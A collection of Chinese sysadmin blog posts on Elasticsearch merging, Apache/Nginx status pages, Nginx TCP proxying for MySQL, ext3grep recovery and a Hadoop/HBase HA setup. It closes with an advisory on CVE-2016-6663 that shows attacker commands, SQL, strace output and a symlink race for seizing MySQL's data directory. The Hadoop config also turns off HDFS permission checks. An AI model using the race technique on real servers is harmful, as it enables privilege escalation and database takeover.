Lucene要执行段合并的理由很简单充分：索引段粒度越小，查询性能越低且耗费的内存越多。频繁的文档更改操作会导致大量的小索引段，从而导致文件句柄打开过多的问题，如修改系统配置，增大系统允许的最大文件打开数。总的来讲，当索引段由多一个合并为一个的时候，会减少索引段的数量从而提高ES性能。对于研发者来讲，我们所能做的就是选择合适的合并策略，尽管段合并完全是Lucene的任务，但随着Lucene开放更多配置借口，新版本的ES还是提供了三种合并的策略tiered，log_byte_size，log_doc。另外，ES也提供了两种Lucene索引段合并的调度器：concurrent和serial。其中各者具体区别，这里暂不赘述，只是抛砖引玉。
收起阅读 »
Apche和Nginx 状态页面开启设置
Apache Server Status设置
1、确认apache已经加载了status_module 模块
一般yum安装的apache已经在主配置文件/etc/httpd/conf/httpd.conf 里面已经加载了
LoadModule status_module modules/mod_status.so检验如下：
[root@web1 httpd]# apachectl -M |grep -i 'status'如果是编译安装的apache，那你就可能没有安装了，编译安装的，动态添加如下：
status_module (shared)
Syntax OK
# 进入到apache的源码mod_status.c目录最后在用httpd -M检查模块是否已经加载，确认模块已经加载没有问题后，在httpd.conf文件增加相应的配置路径 ，引入mod_status.so的配置段：
cd /usr/local/httpd-2.2.3/modules/generators
# 执行编译加载程序
/usr/local/apache/bin/apxs -i -a -c mod_status.c
# 重启httpd服务
service httpd restart
ExtendedStatus On
SetHandler Server-status
Order deny,allow
Deny from all
Allow from 192.168.1.100
说明：
- Deny from表示禁止的访问地址；
- Allow from表示允许的地址访问；
- ExtendedStatus On表示的是待会访问的时候能看到详细的请求信息，另外该设置仅能用于全局设置，不能在特定的虚拟主机中打开或关闭。启用扩展状态信息将会导致服务器运行效率降低。
状态页的配置到这里就结束了，下面我们来访问一下，看看具体状态页有哪些可以利用的价值数据。
输入网址http://IP:PORT/server-status就可以看到apache状态页了。
Apache Server Status for localhost
Server Version: Apache/2.2.3 (Centos)
Server Built: Nov 9 2016 15:18:56
Current Time: Sunday, 11-Nov-2016 17:44:21 Öйú±ê׼ʱ¼ä
Restart Time: Sunday, 11-Nov-2016 17:36:28 Öйú±ê׼ʱ¼ä
Parent Server Generation: 1
Server uptime: 7 minutes 52 seconds
Total accesses: 0 - Total Traffic: 0 kB
0 requests/sec - 0 B/second -
1 requests currently being processed, 63 idle workers
______________________________________________________________W_
................................................................
Scoreboard Key:"_" Waiting for Connection, "S" Starting up, "R" Reading Request,"W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup,"C" Closing connection, "L" Logging, "G" Gracefully finishing,"I" Idle cleanup of worker, "." Open slot with no current process
Srv PID Acc M SS Req Conn Child Slot Client VHost Request
0-1 4140 0/0/0 W 0 287636364 0.0 0.00 0.00 127.0.0.1 192.168.0.100 GET /c-server-status HTTP/1.1
Srv Child Server number - generation
PID OS process ID
Acc Number of accesses this connection / this child / this slot
M Mode of operation
SS Seconds since beginning of most recent request
Req Milliseconds required to process most recent request
Conn Kilobytes transferred this connection
Child Megabytes transferred this child
Slot Total megabytes transferred this slot
参数分析：
字段 说明
Server Version Apache 服务器的版本。
Server Built Apache 服务器编译安装的时间。
Current Time 目前的系统时间。
Restart Time Apache 重新启动的时间。
Parent Server Generation Apache 父程序 (parent process) 的世代编号，就是 httpd 接收到 SIGHUP 而重新启动的次数。
Server uptime Apache 启动后到现在经过的时间。
Total accesses 到目前为此 Apache 接收的联机数量及传输的数据量。
CPU Usage 目前 CPU 的使用情形。
_SWSS.... 所有 Apache process 目前的状态。每一个字符表示一个程序，最多可以显示 256 个程序的状态。
Scoreboard Key 上述状态的说明。以下为每一个字符符号所表示的意义：
* _：等待连结中。
* S：启动中。
* R：正在读取要求。
* W：正在送出回应。
* K：处于保持联机的状态。
* D：正在查找DNS。
* C：正在关闭连结。
* L：正在写入记录文件。
* G：进入正常结束程序中。
* I：处理闲置。
* .：尚无此程序。
Srv 本程序与其父程序的世代编号。
PID 本程序的process id。
Acc 分别表示本次联机、本程序所处理的存取次数。
M 该程序目前的状态。
CPU 该程序所耗用的CPU资源。
SS 距离上次处理要求的时间。
Req 最后一次处理要求所耗费的时间，以千分之一秒为单位。
Conn 本次联机所传送的数据量。
Child 由该子程序所传送的数据量。
Slot 由该 Slot 所传送的数据量。
Client 客户端的地址。
VHost 属于哪一个虚拟主机或本主机的IP。
Request 联机所提出的要求信息。
Nginx 状态页配置
如果你的nginx看到了--with-http_sub_module 这个模块，就代表可以启用status，使用nginx -V 就可以看到你的编译参数，如果没有的话，自行重新编译加上--with-http_sub_module 就好。
1、添加nginx status配置
在默认主机里面加上location或者你希望能访问到的主机里面
location /nginx_status {
stub_status on;
access_log off;
allow 10.0.1.xx;
allow 139.59.253.28;
deny all;
}
2、重启nginx
# service nginx restart3、查看status页面
# curl http://127.0.0.1/nginx_status第1列：
Active connections: 10132
server accepts handled requests
11302 11302 11409
Reading: 0 Writing: 7 Waiting: 142
当前与http建立的连接数，包括等待的客户端连接：10132
第2列：
接受的客户端连接总数目：11302
处理的客户端连接总数目：11302
客户端总的请求数目：11409
总共处理了11302个连接 , 成功创建11302次握手, 总共处理了11409个请求
第3列：
reading — 读取客户端的连接数.
writing — 响应数据到客户端的数量
waiting — 开启 keep-alive 的情况下,这个值等于 active – (reading+writing), 意思就是 Nginx 已经处理完正在等候下一次请求指令的驻留连接.
nginx plus （企业用户）官网（http://demo.nginx.com/status.html#）图示如下：
Nginx负载均衡MYSQL数据库
默认Nginx只支持http的反向代理，要想nginx支持tcp的反向代理，还需要在编译时增加tcp代理模块支持，即nginx_tcp_proxy_module，具体实现如下。
一、编译安装
添加nginx支持tcp_proxy模块，如需其他功能自动编译其他模块，例如：prce、gzip、ssl等功能。
cd /usr/local/src/
wget "https://github.com/yaoweibin/nginx_tcp_proxy_module/archive/master.zip"
mkdir -pv /data/ModulePlugin && unzip master.zip -d /data/ModulePlugin/
wget 'http://nginx.org/download/nginx-1.2.1.tar.gz'
tar -xzvf nginx-1.2.1.tar.gz
cd nginx-1.2.1/
patch -p1 < /data/ModulePlugin/nginx_tcp_proxy_module-master/tcp.patch
./configure --prefix=/usr/local/nginx --add-module=/data/ModulePlugin/nginx_tcp_proxy_module-master/ --with-http_stub_status_module --with-http_gzip_static_module
make
make install
二、添加配置
1、在主配置文件nginx.conf 中include 加载目录
user nobody;/usr/local/nginx/conf/vhost/proxy_mysql.conf 内容如下：
worker_processes 4;
error_log logs/error.log info;
pid logs/nginx.pid;
events {
worker_connections 2048;
}
include /usr/local/nginx/conf/vhost/*.conf;
http {
include mime.types;
default_type application/octet-stream;
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
access_log logs/access.log main;
sendfile on;
#tcp_nopush on;
keepalive_timeout 65;
#gzip on;
server {
listen 3306;
server_name udb.com;
#charset utf-8;
location / {
root html;
index index.html index.htm;
}
location /nginx_status {
stub_status on;
access_log logs/nginx_status.log;
allow 10.0.1.136;
deny all;
}
#error_page 404 /404.html;
# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root html;
}
}
}
tcp {
upstream mysqldb {
server 10.0.1.138:3306;
server 10.0.1.139:3306;
check interval=3000 rise=2 fall=5 timeout=1000;
#check interval=3000 rise=2 fall=5 timeout=1000
#check interval=3000 rise=2 fall=5 timeout=1000
#check_http_send "GET /HTTP/1.0\r\n\r\n";
#check_http_expect_alive http_2xxhttp_3xx;
}
server {
listen 3307;
proxy_pass mysqldb;
}
}参数说明：check interval 健康检查，单位是毫秒
rise 检查几次正常后，将reslserver加入以负载列表中
fall 检查几次失败后，摘除realserver
timeout 检查超时时间，单位许毫秒
具体可查看nginx_tcp_proxy_module-master/README,也可以查看：https://github.com/yaoweibin/nginx_tcp_proxy_module 。 收起阅读 »
Linux恢复删除文件神器「ext3grep」
有时候我们经常会不小心误删除Linux下的文件，那有什么办法可以恢复呢？删除文件后有点担心不能恢复，现在不用怕了，有这个工具就可以了，很好用的。
1、检查安装依赖包
先检查下这三个包是否已经安装，没有的话先安装下，检查有没有安装gcc c++工具是否安装
编译安装完成后就可以使用这个工具了
1、执行这条命令查看删除的所有文件
一、下载工具
# cd /usr/local/src
# wget http://ext3grep.googlecode.com/files/ext3grep-0.6.0.tar.gz
二、安装
1、检查安装依赖包
先检查下这三个包是否已经安装，没有的话先安装下，检查有没有安装gcc c++工具是否安装
# rpm -qa |grep e2fs
e2fsprogs-devel-1.39-23.el5
e2fsprogs-libs-1.39-23.el5
e2fsprogs-1.39-23.el5
# yum install c++* -y
# cd /usr/local/src
# tar xzvf ext3grep-0.6.0.tar.gz
# cd ext3grep-0.6.0
# ./configure && make && make install
三、测试
编译安装完成后就可以使用这个工具了
# ext3grep -v下面测试下恢复效果
Running ext3grep version 0.6.0
ext3grep v0.10.1, Copyright (C) 2008 Carlo Wood.
ext3grep comes with ABSOLUTELY NO WARRANTY;
This program is free software; your freedom to use, change
and distribute this program is protected by the GPL.
# df -h使用/dev/sdb9来做测试
Filesystem Size Used Avail Use% Mounted on
/dev/sda5 47G 2.3G 43G 6% /
/dev/sda3 487M 11M 451M 3% /home
/dev/sda1 190M 12M 169M 7% /boot
/dev/sdb9 100G 0 100G 0% /mnt
# cd /mnt进行恢复
# cp /etc/dhcp6c.conf .
# cp -r /etc/yum.repos.d .
# ll
total 14
-rw-r--r-- 1 root root 178 Jan 22 23:58 dhcp6c.conf
drwx------ 2 root root 12288 Jan 22 22:52 lost+found
drw-r--r-- 1 root root 346 Jan 22 23:59 yum.repos.d
# rm -rf *
# ls
#
* 现在将 /mnt下的东西都删掉了
1、执行这条命令查看删除的所有文件
# ext3grep /dev/sdb9 --ls --inode 22、恢复单个文件
# ext3grep /dev/sdb9 --restore-file dhcp6c.conf3、恢复的文件放在RESTORED_FILES目录
Running ext3grep version 0.6.0
Number of groups: 13
Minimum / maximum journal block: 526 / 4640
Loading journal descriptors... sorting... done
N umber of descriptors in journal: 828; min / max sequence numbers: 2 / 4
Loading sdb9.ext3grep.stage2.... done
Restoring dhcp6c.conf
# cd RESTORED_FILES/4、恢复所有文件
# ls
dhcp6c.conf
# ext3grep /dev/sdb9 --restore-all编辑恢复的文件
[root@test RESTORED_FILES]# vi dhcp6c.conf收起阅读 »
#
# See dhcp6c.conf(5) man page for details.
#
#interface eth0 {
# #information-only;
# send rapid-commit;
# request prefix-delegation;
# #request temp-address;
#};
CDH Hadoop + HBase HA 部署详解
CDH 的部署和 Apache Hadoop 的部署是没有任何区别的。这里着重的是 HA的部署，需要特殊说明的是NameNode HA 需要依赖 Zookeeper。
准备
Hosts文件配置：
cat > /etc/hosts << _HOSTS_
127.0.0.1 localhost
10.0.2.59 cdh-m1
10.0.2.60 cdh-m2
10.0.2.61 cdh-s1
_HOSTS_
各个节点服务情况
cdh-m1 Zookeeper JournalNode NameNode DFSZKFailoverController HMaster
cdh-m2 Zookeeper JournalNode NameNode DFSZKFailoverController HMaster
cdh-s1 Zookeeper JournalNode DataNode HRegionServer
对几个新服务说明下：
- JournalNode 用于同步 NameNode 元数据，和 Zookeeper 一样需要 2N+1个节点存活集群才可用;
- DFSZKFailoverController（ZKFC） 用于主备切换，类似 Keepalived 所扮演的角色。
NTP 服务
设置时区
rm -f /etc/localtime
ln -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
配置NTP Server
yum install -y ntp
cat > /etc/ntp.conf << _NTP_
driftfile /var/lib/ntp/drift
restrict default nomodify
restrict -6 default nomodify
server cn.ntp.org.cn prefer
server news.neu.edu.cn iburst
server dns.sjtu.edu.cn iburst
server 127.127.1.1 iburst
tinker dispersion 100
tinker step 1800
tinker stepout 3600
includefile /etc/ntp/crypto/pw
keys /etc/ntp/keys
_NTP_
# NTP启动时立即同步
cat >> /etc/ntp/step-tickers << _NTP_
server cn.ntp.org.cn prefer
server news.neu.edu.cn iburst
server dns.sjtu.edu.cn iburst
_NTP_
# 同步硬件时钟
cat >> /etc/sysconfig/ntpd << _NTPHW_
SYNC_HWCLOCK=yes
_NTPHW_
启动并设置开机自启动
/etc/init.d/ntpd start
chkconfig ntpd on
配置 NTP Client
yum install -y ntp
# 注意修改内网NTP Server地址
cat > /etc/ntp.conf << _NTP_
driftfile /var/lib/ntp/drift
restrict default nomodify
restrict -6 default nomodify
restrict 127.0.0.1
restrict -6 ::1
server 10.0.2.59 prefer
tinker dispersion 100
tinker step 1800
tinker stepout 3600
includefile /etc/ntp/crypto/pw
keys /etc/ntp/keys
_NTP_
# NTP启动时立即同步
cat >> /etc/ntp/step-tickers << _NTP_
server 10.0.2.59 prefer
_NTP_
# 同步硬件时钟
cat >> /etc/sysconfig/ntpd << _NTPHW_
SYNC_HWCLOCK=yes
_NTPHW_
启动并设置开机自启动
/etc/init.d/ntpd start
chkconfig ntpd on
检查 NTP 同步
ntpq -p
# 结果
remote refid st t when poll reach delay offset jitter
==============================================================================
*time7.aliyun.co 10.137.38.86 2 u 17 64 3 44.995 5.178 0.177
news.neu.edu.cn .INIT. 16 u - 64 0 0.000 0.000 0.000
202.120.2.90 .INIT. 16 u - 64 0 0.000 0.000 0.000
JDK配置
创建目录
mkdir -p /data/{install,app,logs,pid,appData}
mkdir /data/appData/tmp
cd /data/install
wget -c http://oracle.com/jdk-7u51-linux-x64.gz
tar xf jdk-7u51-linux-x64.gz -C /data/app
cd /data/app
ln -s jdk1.7.0_51 jdk1.7
cat >> /etc/profile << _PATH_
export JAVA_HOME=/data/app/jdk1.7
export CLASSPATH=.:\$JAVA_HOME/lib/dt.jar:\$JAVA_HOME/lib/tools.jar
export PATH=\$JAVA_HOME/bin:\$PATH
_PATH_
source /etc/profile
创建运行账户
useradd -u 600 run
下载 安装包
# http://archive.cloudera.com/cdh5/cdh/5/
cd /data/install
wget -c http://archive.cloudera.com/cdh5/cdh/5/hadoop-2.6.0-cdh5.4.5.tar.gz
wget -c http://archive.apache.org/dist/zookeeper/zookeeper-3.4.5/zookeeper-3.4.5.tar.gz
wget -c http://archive.cloudera.com/cdh5/cdh/5/hbase-1.0.0-cdh5.4.5.tar.gz
安装 Zookeeper
cd /data/install
tar xf zookeeper-3.4.5.tar.gz -C /data/app
cd /data/app
ln -s zookeeper-3.4.5 zookeeper
设置环境变量
sed -i '/^export PATH=/i\export ZOOKEEPER_HOME=/data/app/zookeeper' /etc/profile
sed -i 's#export PATH=#&\$ZOOKEEPER_HOME/bin:#' /etc/profile
source /etc/profile
删除无用文件
cd $ZOOKEEPER_HOME
rm -rf *xml *txt zookeeper-3.4.5.jar.* src recipes docs dist-maven contrib
rm -f $ZOOKEEPER_HOME/bin/*.cmd $ZOOKEEPER_HOME/bin/*.txt
rm -f $ZOOKEEPER_HOME/conf/zoo_sample.cfg
创建数据目录
mkdir -p /data/appData/zookeeper/{data,logs}
配置
cat > $ZOOKEEPER_HOME/conf/zoo.cfg << _ZOO_
tickTime=2000
initLimit=10
syncLimit=5
clientPort=2181
dataDir=/data/appData/zookeeper/data
dataLogDir=/data/appData/zookeeper/logs
server.1=cdh-m1:2888:3888
server.2=cdh-m2:2888:3888
server.3=cdh-s1:2888:3888
_ZOO_
修改Zookeeper的日志打印方式，与日志路径设置, 编辑
$ZOOKEEPER_HOME/bin/zkEnv.sh
在27行后加入两个变量
ZOO_LOG_DIR=/data/logs/zookeeper
ZOO_LOG4J_PROP="INFO,ROLLINGFILE"
创建 myid文件
# 注意myid与配置文件保持一致
echo 1 >/data/appData/zookeeper/data/myid
设置目录权限
chown -R run.run /data/{app,appData,logs}
启动、停止
# 启动
runuser - run -c 'zkServer.sh start'
# 停止
runuser - run -c 'zkServer.sh stop'
安装 Hadoop
tar xf hadoop-2.6.0-cdh5.4.5.tar.gz -C /data/app
cd /data/app
ln -s hadoop-2.6.0-cdh5.4.5 hadoop
设置环境变量
sed -i '/^export PATH=/i\export HADOOP_HOME=/data/app/hadoop' /etc/profile
sed -i 's#export PATH=#&\$HADOOP_HOME/bin:\$HADOOP_HOME/sbin:#' /etc/profile
source /etc/profile
删除无用文件
cd $HADOOP_HOME
rm -rf *txt share/doc src examples* include bin-mapreduce1 cloudera
find . -name "*.cmd"|xargs rm -f
新建数据目录
mkdir -p /data/appData/hdfs/{name,edits,data,jn,tmp}
配置
切换到配置文件目录
cd $HADOOP_HOME/etc/hadoop
编辑 core-site.xml
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="configuration.xsl"?>
<configuration>
<!-- HDFS 集群名称，可指定端口 -->
<property>
<name>fs.defaultFS</name>
<value>hdfs://hdfs-cdh</value>
</property>
<!-- 临时文件目录 -->
<property>
<name>hadoop.tmp.dir</name>
<value>/data/appData/hdfs/tmp</value>
</property>
<!-- 回收站设置，0不启用回收站，1440 表示1440分钟后删除 -->
<property>
<name>fs.trash.interval</name>
<value>1440</value>
</property>
<!-- SequenceFiles在读写中可以使用的缓存大小，单位 bytes 默认 4096 -->
<property>
<name>io.file.buffer.size</name>
<value>131072</value>
</property>
<!-- 可用压缩算法，启用在hdfs-site.xml中，需要编译动态链接库才能用 -->
<property>
<name>io.compression.codecs</name>
<value>org.apache.hadoop.io.compress.SnappyCodec</value>
</property>
</configuration>
编辑 hdfs-site.xml
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="configuration.xsl"?>
<configuration>
<!-- 指定hdfs 集群名称，需要和core-site.xml中的保持一致 -->
<property>
<name>dfs.nameservices</name>
<value>hdfs-cdh</value>
</property>
<!-- 指定 Zookeeper 用于NameNode HA，默认官方配置在core-site.xml中，为了查看清晰配置到hdfs-site.xml也是可用的 -->
<property>
<name>ha.zookeeper.quorum</name>
<value>cdh-m1:2181,cdh-m2:2181,cdh-s1:2181</value>
</property>
<!-- hdfs-cdh 下有两个NameNode，分别为 nn1,nn2 -->
<property>
<name>dfs.ha.namenodes.hdfs-cdh</name>
<value>nn1,nn2</value>
</property>
<!-- nn1 RPC通信地址 -->
<property>
<name>dfs.namenode.rpc-address.hdfs-cdh.nn1</name>
<value>cdh-m1:9000</value>
</property>
<!-- nn1 HTTP通信地址 -->
<property>
<name>dfs.namenode.http-address.hdfs-cdh.nn1</name>
<value>cdh-m1:50070</value>
</property>
<!-- nn2 RPC通信地址 -->
<property>
<name>dfs.namenode.rpc-address.hdfs-cdh.nn2</name>
<value>cdh-m2:9000</value>
</property>
<!-- nn2 HTTP通信地址 -->
<property>
<name>dfs.namenode.http-address.hdfs-cdh.nn2</name>
<value>cdh-m2:50070</value>
</property>
<!-- 指定NameNode元数据在JournalNode上的存储路径 -->
<property>
<name>dfs.namenode.shared.edits.dir</name>
<value>qjournal://cdh-m1:8485;cdh-m2:8485;cdh-s1:8485;/hdfs-cdh</value>
</property>
<!-- 开启NameNode失败自动切换 -->
<property>
<name>dfs.ha.automatic-failover.enabled</name>
<value>true</value>
</property>
<!-- 配置主备切换实现方式 -->
<property>
<name>dfs.client.failover.proxy.provider.hdfs-cdh</name>
<value>org.apache.hadoop.hdfs.server.namenode.ha.ConfiguredFailoverProxyProvider</value>
</property>
<!-- 配置主备切换方法，每个方法一行-->
<property>
<name>dfs.ha.fencing.methods</name>
<value>
sshfence
shell(/bin/true)
</value>
</property>
<!-- 指定运行用户的秘钥，需要NameNode双向免密码登录，用于主备自动切换 -->
<property>
<name>dfs.ha.fencing.ssh.private-key-files</name>
<value>/home/run/.ssh/id_rsa</value>
</property>
<!-- 配置sshfence 超时时间 -->
<property>
<name>dfs.ha.fencing.ssh.connect-timeout</name>
<value>50000</value>
</property>
<!-- NameNode 数据本地存储路径 -->
<property>
<name>dfs.namenode.name.dir</name>
<value>/data/appData/hdfs/name</value>
</property>
<!-- DataNode 数据本地存储路径 -->
<property>
<name>dfs.datanode.data.dir</name>
<value>/data/appData/hdfs/data</value>
</property>
<!-- JournalNode 数据本地存储路径 -->
<property>
<name>dfs.journalnode.edits.dir</name>
<value>/data/appData/hdfs/jn</value>
</property>
<!-- 修改文件存储到edits，定期同步到DataNode -->
<property>
<name>dfs.namenode.edits.noeditlogchannelflush</name>
<value>true</value>
</property>
<!-- edits 数据本地存储路径 -->
<property>
<name>dfs.namenode.edits.dir</name>
<value>/data/appData/hdfs/edits</value>
</property>
<!-- 开启Block Location metadata允许impala知道数据块在哪块磁盘上 默认关闭 -->
<property>
<name>dfs.datanode.hdfs-blocks-metadata.enabled</name>
<value>true</value>
</property>
<!-- 权限检查 默认开启 -->
<property>
<name>dfs.permissions.enabled</name>
<value>false</value>
</property>
<!-- block 大小设置 -->
<property>
<name>dfs.blocksize</name>
<value>64m</value>
</property>
</configuration>
小于5个DataNode建议添加如下配置
<!-- 数据副本数量，不能超过DataNode数量，大集群建议使用默认值 默认 3 -->
<property>
<name>dfs.replication</name>
<value>2</value>
</property>
<!-- 当副本写入失败时不分配新节点，小集群适用 -->
<property>
<name>dfs.client.block.write.replace-datanode-on-failure.policy</name>
<value>NEVER</value>
</property>
在 hadoop-env.sh 中添加如下变量
export JAVA_HOME=/data/app/jdk1.7
export HADOOP_LOG_DIR=/data/logs/hadoop
export HADOOP_PID_DIR=/data/pid
# SSH端口 可选
export HADOOP_SSH_OPTS="-p 22"
Heap 设置，单位 MB
export HADOOP_HEAPSIZE=1024
权限设置
chown -R run.run /data/{app,appData,logs}
chmod 777 /data/pid
格式化
格式化只需要执行一次,格式化之前启动Zookeeper
切换用户
su - run
启动所有 JournalNode
hadoop-daemon.sh start journalnode
格式化 Zookeeper（为 ZKFC 创建znode）
hdfs zkfc -formatZK
NameNode 主节点格式化并启动
hdfs namenode -format
hadoop-daemon.sh start namenode
NameNode 备节点同步数据并启动
hdfs namenode -bootstrapStandby
hadoop-daemon.sh start namenode
启动 ZKFC
hadoop-daemon.sh start zkfc
启动 DataNode
hadoop-daemon.sh start datanode
启动与停止
切换用户
su - run
集群批量启动
需要配置运行用户ssh-key免密码登录，与$HADOOP_HOME/etc/hadoop/slaves
# 启动
start-dfs.sh
# 停止
stop-dfs.sh
单服务启动停止
启动HDFS
hadoop-daemon.sh start journalnode
hadoop-daemon.sh start namenode
hadoop-daemon.sh start zkfc
hadoop-daemon.sh start datanode
停止HDFS
hadoop-daemon.sh stop datanode
hadoop-daemon.sh stop namenode
hadoop-daemon.sh stop journalnode
hadoop-daemon.sh stop zkfc
测试
HDFS HA 测试
打开 NameNode 状态页：
http://cdh-m1:50010
http://cdh-m2:50010
在 Overview 后面能看见 active 或 standby，active 为当前 Master，停止 active 上的 NameNode，检查 standby是否为 active。
HDFS 测试
hadoop fs -mkdir /test
hadoop fs -put /etc/hosts /test
hadoop fs -ls /test
结果:
-rw-r--r-- 2 java supergroup 89 2016-06-15 10:30 /test/hosts
# 其中权限后面的列（这里的2）代表文件总数，即副本数量。
HDFS 管理命令
# 动态加载 hdfs-site.xml
hadoop dfsadmin -refreshNodes
HBase安装配置
cd /data/install
tar xf hbase-1.0.0-cdh5.4.5.tar.gz -C /data/app
cd /data/app
ln -s hbase-1.0.0-cdh5.4.5 hbase
设置环境变量
sed -i '/^export PATH=/i\export HBASE_HOME=/data/app/hbase' /etc/profile
sed -i 's#export PATH=#&\$HBASE_HOME/bin:#' /etc/profile
source /etc/profile
删除无用文件
cd $HBASE_HOME
rm -rf *.txt pom.xml src docs cloudera dev-support hbase-annotations hbase-assembly hbase-checkstyle hbase-client hbase-common hbase-examples hbase-hadoop2-compat hbase-hadoop-compat hbase-it hbase-prefix-tree hbase-protocol hbase-rest hbase-server hbase-shell hbase-testing-util hbase-thrift
find . -name "*.cmd"|xargs rm -f
配置
进入配置文件目录
cd $HBASE_HOME/conf
编辑 hbase-site.xml
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="configuration.xsl"?>
<configuration>
<!-- HBase 数据存储路径 -->
<property>
<name>hbase.rootdir</name>
<value>hdfs://hdfs-cdh/hbase</value>
</property>
<!-- 完全分布式模式 -->
<property>
<name>hbase.cluster.distributed</name>
<value>true</value>
</property>
<!-- HMaster 节点 -->
<property>
<name>hbase.master</name>
<value>cdh-m1:60000,cdh-m2:60000</value>
</property>
<!-- Zookeeper 节点 -->
<property>
<name>hbase.zookeeper.quorum</name>
<value>cdh-m1:2181,cdh-m2:2181,cdh-s1:2181</value>
</property>
<!-- znode 路径，Zookeeper集群中有多个HBase集群需要设置不同znode -->
<property>
<name>zookeeper.znode.parent</name>
<value>/hbase</value>
</property>
<!-- HBase 协处理器 -->
<property>
<name>hbase.coprocessor.user.region.classes</name>
<value>org.apache.hadoop.hbase.coprocessor.AggregateImplementation</value>
</property>
</configuration>
在 hbase-env.sh 中添加如下变量
export JAVA_HOME=/data/app/jdk1.7
export HBASE_LOG_DIR=/data/logs/hbase
export HBASE_PID_DIR=/data/pid
export HBASE_MANAGES_ZK=false
# SSH 默认端口 可选
export HBASE_SSH_OPTS="-o ConnectTimeout=1 -p 36000"
Heap 设置，单位 MB
export HBASE_HEAPSIZE=1024
可选设置 regionservers 中添加所有RegionServer主机名，用于集群批量启动、停止。
启动与停止
切换用户
su - run
集群批量启动
需要配置运行用户ssh-key免密码登录，与$HBASE_HOME/conf/regionservers
# 启动
start-hbase.sh
# 停止
stop-hbase.sh
单服务启动停止
HMaster
# 启动
hbase-daemon.sh start master
# 停止
hbase-daemon.sh stop master
HRegionServer
# 启动
hbase-daemon.sh start regionserver
# 停止
hbase-daemon.sh stop regionserver
测试
HBase HA 测试
浏览器打开两个HMaster状态页:
http://cdh-m1:60010
http://cdh-m2:60010
可以在Master后面看见其中一个主机名，Backup Masters中看见另一个。
停止当前Master，刷新另一个HMaster状态页会发现Master后面已经切换，HA成功。
HBase 测试
进入hbase shell 执行：
create 'users','user_id','address','info'
list
put 'users','anton','info:age','24'
get 'users','anton'
# 最终结果
COLUMN CELL
info:age timestamp=1465972035945, value=24
1 row(s) in 0.0170 seconds
清除测试数据：
disable 'users'
drop 'users'
到这里安装就全部完成。
收起阅读 »
MySQL / MariaDB / PerconaDB - 提权/条件竞争漏洞
漏洞发现人：Dawid Golunski
漏洞级别：严重
CVE编号 ：CVE-2016-6663 / CVE-2016-5616
漏洞影响：
漏洞描述 ：
Dawid Golunski在 MySQl, MariaDB 和 PerconaDB 数据库中发现条件竞争漏洞，该漏洞允许本地用户使用低权限(CREATE/INSERT/SELECT权限)账号提升权限到数据库系统用户（通常是'mysql'）执行任意代码。成功利用此漏洞，允许攻击者完全访问数据库。也有潜在风险通过(CVE-2016-6662 和 CVE-2016-6664漏洞)获取操作系统root权限。
漏洞细节：
基于MYSQL的数据库允许用户新建数据库，并且指定存储目录。例如：
attacker@debian:~$ mkdir /tmp/disktable可以通过data directory参数指定存储目录为/tmp/disktable/
attacker@debian:~$ chmod 777 /tmp/disktable/
attacker@debian:~$ ls -ld /tmp/disktable/
drwxrwxrwx 2 attacker attacker 4096 Oct 28 10:53 /tmp/disktable/
mysql> CREATE TABLE poctab1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';执行完成后，查看下目录权限，变为mysql
attacker@debian:~$ ls -l /tmp/disktable/低权限（SELECT/CREATE/INSERT权限）的MYSQL账户，在执行表修复过程中，执行了不安全的临时文件创建。
total 0
-rw-rw---- 1 mysql mysql 0 Oct 28 10:53 poctab1.MYD
mysql> REPAIR TABLE `poctab1`;通过查看系统调用，可以看到
+----------------+--------+----------+----------+
| Table | Op | Msg_type | Msg_text |
+----------------+--------+----------+----------+
| testdb.poctab1 | repair | status | OK |
+----------------+--------+----------+----------+
[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0第一个系统调用是
[pid 1463] open("/tmp/disktable/poctab1.MYD", O_RDWR) = 65
[pid 1463] access("./testdb/poctab1.TRG", F_OK) = -1 ENOENT (No such file or directory)
[pid 1463] lseek(65, 0, SEEK_CUR) = 0
[pid 1463] lseek(65, 0, SEEK_END) = 0
[pid 1463] mprotect(0x7f6a3804f000, 12288, PROT_READ|PROT_WRITE) = 0
[pid 1463] open("/tmp/disktable/poctab1.TMD", O_RDWR|O_CREAT|O_EXCL|O_TRUNC, 0660) = 66
[pid 1463] lseek(65, 0, SEEK_END) = 0
[pid 1463] lseek(64, 0, SEEK_END) = 1024
[pid 1463] close(65) = 0
[pid 1463] close(66) = 0
[pid 1463] lstat("/tmp", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0
[pid 1463] lstat("/tmp/disktable", {st_mode=S_IFDIR|0777, st_size=4096, ...}) = 0
[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid 1463] stat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid 1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0
[pid 1463] chown("/tmp/disktable/poctab1.TMD", 110, 115) = 0
[pid 1463] unlink("/tmp/disktable/poctab1.MYD") = 0
[pid 1463] rename("/tmp/disktable/poctab1.TMD", "/tmp/disktable/poctab1.MYD") = 0
[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0我们可以看到，在检验poctab1.MYD表文件权限的时候，也会复制在创建repaired表时的临时文件chmod()权限。因此在[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0和[pid 1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0系统调用之间，产生了条件竞争漏洞。如果攻击者删除临时表poctab1.TMD，然后通过符号链接在chmod()操作前替换/var/lib/mysql，则能够完全控制MYSQL的data目录权限。
